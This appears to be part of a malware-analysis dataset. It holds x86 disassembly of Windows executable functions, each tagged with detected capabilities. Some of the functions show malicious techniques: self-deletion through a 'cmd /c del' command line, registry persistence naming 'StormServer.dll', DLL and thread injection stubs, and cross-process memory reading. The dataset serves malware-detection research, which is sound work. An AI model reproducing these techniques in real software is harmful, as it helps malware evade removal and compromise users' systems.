joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50413c
Capabilities:
Allocate or change rwx memory
Find taskbar
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffa4
mov dword [esp], eax
mov eax, dword [esp]
xor ecx, ecx
mov edx, 0x10
call fcn.00403314
lea eax, [esp + 0x38]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
call sub.user32.dll_GetDesktopWindow
test eax, eax
je 0x504328
push 0
push 0x504330
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x504328
push 0
push 0x504340
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x504328
push 0
push 0x504350
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x504328
push 0
push 0x504360
push 0
push eax
call sub.user32.dll_FindWindowExA
mov ebp, eax
test ebp, ebp
je 0x504328
push 0
push 0
push 0x418
push ebp
call sub.user32.dll_SendMessageA
mov dword [esp + 4], eax
cmp dword [esp + 4], 1
jl 0x504328
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push ebp
call sub.user32.dll_GetWindowThreadProcessId
cmp dword [esp + 8], 0
je 0x504328
mov eax, dword [esp + 8]
push eax
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov edi, eax
test edi, edi
je 0x504328
push 0x40
push 0x1000
push 0x1000
push 0
push edi
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
test esi, esi
je 0x504328
or ebx, 0xffffffff
cmp ebx, dword [esp + 4]
jge 0x504314
inc ebx
push esi
push ebx
push 0x417
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x50430a
lea eax, [esp + 0xc]
push eax
push 0x18
lea eax, [esp + 0x1c]
push eax
push esi
push edi
call sub.KERNEL32.DLL_ReadProcessMemory
test eax, eax
je 0x50430a
test byte [esp + 0x1d], 0xd
jne 0x50430a
mov al, byte [esp + 0x1c]
and al, 8
cmp al, 8
je 0x50430a
lea eax, [esp + 0xc]
push eax
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x2c]
push eax
push edi
call sub.KERNEL32.DLL_ReadProcessMemory
test eax, eax
je 0x50430a
cmp dword [esp + 0xc], 0
je 0x50430a
mov eax, dword [0x51f7f4]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
cmp eax, dword [esp + 0x10]
jne 0x50430a
push esi
push ebx
push 0x41d
push ebp
call sub.user32.dll_SendMessageA
test eax, eax
je 0x5042e6
lea eax, [esp + 0xc]
push eax
push 0x10
mov eax, dword [esp + 8]
push eax
push esi
push edi
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [esp + 0xc], 0
je 0x504314
lea eax, [esp + 0x28]
push eax
push ebp
call sub.user32.dll_GetWindowRect
mov eax, dword [esp]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
call fcn.00406c50
jmp 0x504314
cmp ebx, dword [esp + 4]
jl 0x50424a
push 0x8000
push 0
push esi
push edi
call sub.KERNEL32.DLL_VirtualFreeEx
push edi
call sub.KERNEL32.DLL_CloseHandle_1
add esp, 0x5c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x506540
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffe9c
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [esp], eax
mov eax, ebx
call fcn.004096b4
test al, al
je 0x5065c7
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x160
call fcn.00403314
or esi, 0x100
test esi, esi
jns 0x50657b
call fcn.00403840
push esi
push 0x160
lea eax, [esp + 0xc]
push eax
push 0
mov eax, ebx
call fcn.00404b58
push eax
call sub.shell32.dll_SHGetFileInfoA
test eax, eax
je 0x5065c7
mov dl, 1
mov eax, dword [0x42268c]
call fcn.0042a048
mov dword [esp], eax
mov edx, dword [esp + 4]
mov eax, dword [esp]
call fcn.0042a454
mov eax, dword [esp]
mov edx, dword [eax]
call dword [edx + 0x1c]
test al, al
je 0x5065c7
mov eax, esp
call fcn.0040e8b8
mov eax, dword [esp]
add esp, 0x164
pop esi
pop ebx
ret
Function at 0x50edec
Capabilities:
Get file size
Set file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov byte [esp], dl
mov edi, eax
mov eax, dword [edi]
call fcn.0040964c
mov dword [esp + 0xc], eax
push 0x80
mov eax, dword [edi]
call fcn.00404b58
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push 0x82
push 3
push 0
push 2
push 0xc0000000
mov eax, dword [edi]
call fcn.00404b58
push eax
call sub.KERNEL32.DLL_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x50effd
push 0
push 0
push 0
push 4
push 0
push esi
call sub.KERNEL32.DLL_CreateFileMappingA
mov ebp, eax
test ebp, ebp
je 0x50eff7
push 0
push 0
push 0
push 2
push ebp
call sub.KERNEL32.DLL_MapViewOfFile
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x50efed
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
mov dword [esp + 8], eax
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.0050ec78
test al, al
jne 0x50eeb3
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov edx, 0x50f014
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x50efed
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov edx, 0x50f030
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
mov dword [esp + 0x10], eax
mov ebx, 0x51e5b0
mov al, byte [ebx]
cmp al, byte [esp]
jne 0x50ef87
cmp byte [ebx + 0x1c], 0
jne 0x50ef87
mov eax, dword [ebx + 0x14]
push eax
mov eax, dword [ebx + 0x18]
push eax
mov eax, dword [ebx + 8]
push eax
mov eax, dword [esp + 0x14]
push eax
push 1
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0xc]
mov eax, dword [esp + 0x18]
call fcn.0050eb40
test al, al
je 0x50ef77
mov byte [esp + 0x18], 1
cmp byte [ebx + 0x1d], 0
je 0x50ef6b
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x69
jg 0x50ef6b
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
shl eax, 2
lea eax, [eax*8 + 0x51e5cc]
mov dword [esp + 0x1c], eax
lea edx, [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, 1
call fcn.0050ede4
mov eax, dword [esp + 0x1c]
cmp byte [eax + 1], 0
je 0x50ef6b
inc dword [esp + 0x14]
add dword [esp + 0x1c], 0x20
cmp dword [esp + 0x14], 0x6a
jne 0x50ef3f
mov dl, 1
mov eax, dword [ebx + 4]
call fcn.0050ecc4
jmp 0x50ef87
cmp byte [ebx + 0x1d], 0
jne 0x50ef87
xor edx, edx
mov eax, dword [ebx + 4]
call fcn.0050ecc4
inc dword [esp + 0x10]
add ebx, 0x20
cmp dword [esp + 0x10], 0x6a
jne 0x50eed9
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.0050ec0c
test al, al
je 0x50efc7
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov edx, 0x50f04c
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x50efe2
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov edx, 0x50f06c
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [edi]
mov edx, dword [esp + 0xc]
call fcn.004096e8
mov eax, dword [esp + 4]
push eax
call sub.KERNEL32.DLL_UnmapViewOfFile
push ebp
call sub.KERNEL32.DLL_CloseHandle_1
push esi
call sub.KERNEL32.DLL_CloseHandle_1
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x50f438
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x50f4e5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov edx, dword [ebx]
lea eax, [ebp - 4]
mov ecx, 0x50f4fc
call fcn.004049a4
mov eax, dword [ebp - 4]
call fcn.00404b58
push eax
mov eax, dword [ebx]
call fcn.00404b58
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x50f4af
push 0x50f50c
push dword [ebx]
push 0x50f4fc
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404a18
mov edx, dword [ebp - 8]
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov ecx, dword [eax]
call dword [ecx + 0x38]
jmp 0x50f4ca
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x328]
mov eax, dword [eax + 0x220]
mov edx, 0x50f524
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50f4ec
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046bc
ret

Function at 0x50f6f4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b48
xor eax, eax
push ebp
push 0x50f7d3
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 7
mov ebx, 0x51f2f0
lea eax, [ebp - 8]
mov ecx, dword [ebx]
mov edx, dword [ebp - 4]
call fcn.004049a4
lea eax, [ebp - 0xc]
mov ecx, dword [ebx + 4]
mov edx, dword [ebp - 4]
call fcn.004049a4
mov eax, dword [ebp - 8]
call fcn.004096b4
test al, al
je 0x50f7ae
mov eax, dword [ebp - 0xc]
call fcn.004096b4
test al, al
je 0x50f7ae
mov eax, dword [0x534cf0]
mov eax, dword [eax + 0x314]
mov edx, dword [eax]
call dword [edx + 0xc8]
test al, al
je 0x50f795
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
mov ecx, 0x50f7e8
mov edx, dword [ebp - 8]
call fcn.004049a4
mov eax, dword [ebp - 0x10]
call fcn.00404b58
push eax
mov eax, dword [ebp - 8]
call fcn.00404b58
push eax
call sub.KERNEL32.DLL_CopyFileA
push 0
mov eax, dword [ebp - 8]
call fcn.00404b58
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404b58
push eax
call sub.KERNEL32.DLL_CopyFileA
add ebx, 8
dec esi
jne 0x50f722
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50f7da
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004046bc
ret
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
test ebx, ebx
je 0x4010b2
mov al, byte [esp + 0x14]
test al, al
jne 0x401025
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
jmp 0x401075
cmp al, 1
jne 0x401037
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x401075
cmp al, 2
jne 0x401075
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.Program_FilesInternet_Explorer
or ecx, 0xffffffff
xor eax, eax
mov byte [ebx + 3], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + ebx - 1], 0x5c
je 0x4010b2
mov edi, 0x4042cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
ret

Function at 0x401150
Capabilities:
Create process on windows
Create thread
Inject dll
Inject thread

Disassembly:
sub esp, 0x158
push ebx
push esi
lea eax, [esp + 0x5c]
push edi
push eax
jmp loc.0040f000

Function at 0x401260
Capabilities:
Delete registry value
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x402816
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x90
push esi
push edi
push str._SystemRoot_System32_
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0xc]
push str.StormServer.dll
lea ecx, [esp + 0x18]
push eax
push ecx
mov dword [esp + 0xac], 0
call sub.MFC42.DLL_operator
push 0x4044f0
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_operator
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
call fcn.00402600
lea ecx, [esp + 0x14]
mov byte [esp + 0xa0], 0
call fcn.00402600
lea ecx, [esp + 8]
push ecx
push 0x404340
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 8]
push 0x404334
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x18]
push 0x80
push eax
push 2
push 0
push 0x404334
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc]
mov dword [esp + 0xa0], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x98]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x9c
ret
Function at 0x401390
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4014fd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4014fd
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014ef
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret

Function at 0x401900
Capabilities:
Create process on windows
Create process suspended
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x368
push ebx
push ebp
push esi
push edi
jmp loc.0040f214
Function at 0x40c3f1
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x416601
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret 4
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x4019f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019ff
push esp
mov dword [ebp - 0x24], 0x40171b
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a9e
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a7f
pop ebp
ret 0x10
Function at 0x4023c2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402401
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402401
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402401
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402401
cmp dword [ecx + 0x74], 0xe
jbe 0x402401
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4052a7
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x412d1c
push esi
call fcn.00407a47
pop ecx
pop ecx
test eax, eax
jne 0x4052d5
xor al, al
jmp 0x405352
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.00404fe8
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x40530f
push dword [ebp - 0x210]
call fcn.0040667f
xor al, al
jmp 0x405350
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x405315
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x405335
push edx
call fcn.004051de
pop ecx
test al, al
je 0x405300
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x405343
mov bl, 1
push dword [ebp - 0x210]
call fcn.0040667f
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401b34
leave
ret

Function at 0x408571
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413580
push 0x413578
push str.FlsAlloc
push 0x1f
call fcn.00408430
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4085a5
push dword [ebp + 8]
mov ecx, esi
call dword [0x412140]
call esi
jmp 0x4085ab
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4085ef
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413590
push 0x413588
push str.FlsGetValue
push 0x21
call fcn.00408430
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408626
push dword [ebp + 8]
mov ecx, esi
call dword [0x412140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40862e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413598
push 0x413590
push str.FlsSetValue
push 0x22
call fcn.00408430
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408668
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x412140]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40a243
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40a2e0
push ebx
push esi
call fcn.0040a20c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a1a0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40a28d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a2df
push edi
push eax
call fcn.004075db
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40a2ad
call fcn.004075a1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40a2de
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a1a0
add esp, 0x20
test eax, eax
jne 0x40a2cc
push edi
call fcn.004075a1
jmp 0x40a2d4
push ebx
call fcn.004075a1
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40a2e3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40a2f4
pop esi
ret
push ebx
push edi
push esi
call fcn.0040a20c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004075db
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40a31c
push ebx
push esi
push edi
call fcn.004043e0
add esp, 0xc
push 0
call fcn.004075a1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40aa76
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040a591

Function at 0x40c356
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x40c399
call fcn.0040757b
mov dword [eax], 0xf
call fcn.0040758e
mov dword [eax], 0xd
call fcn.00405676
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b34
leave
ret
test eax, eax
jne 0x40c3a0
inc eax
jmp 0x40c38d
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x40c38b
xor eax, eax
cmp ecx, 1
setne al
jmp 0x40c38d
Function at 0x411710
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41173d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41173d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret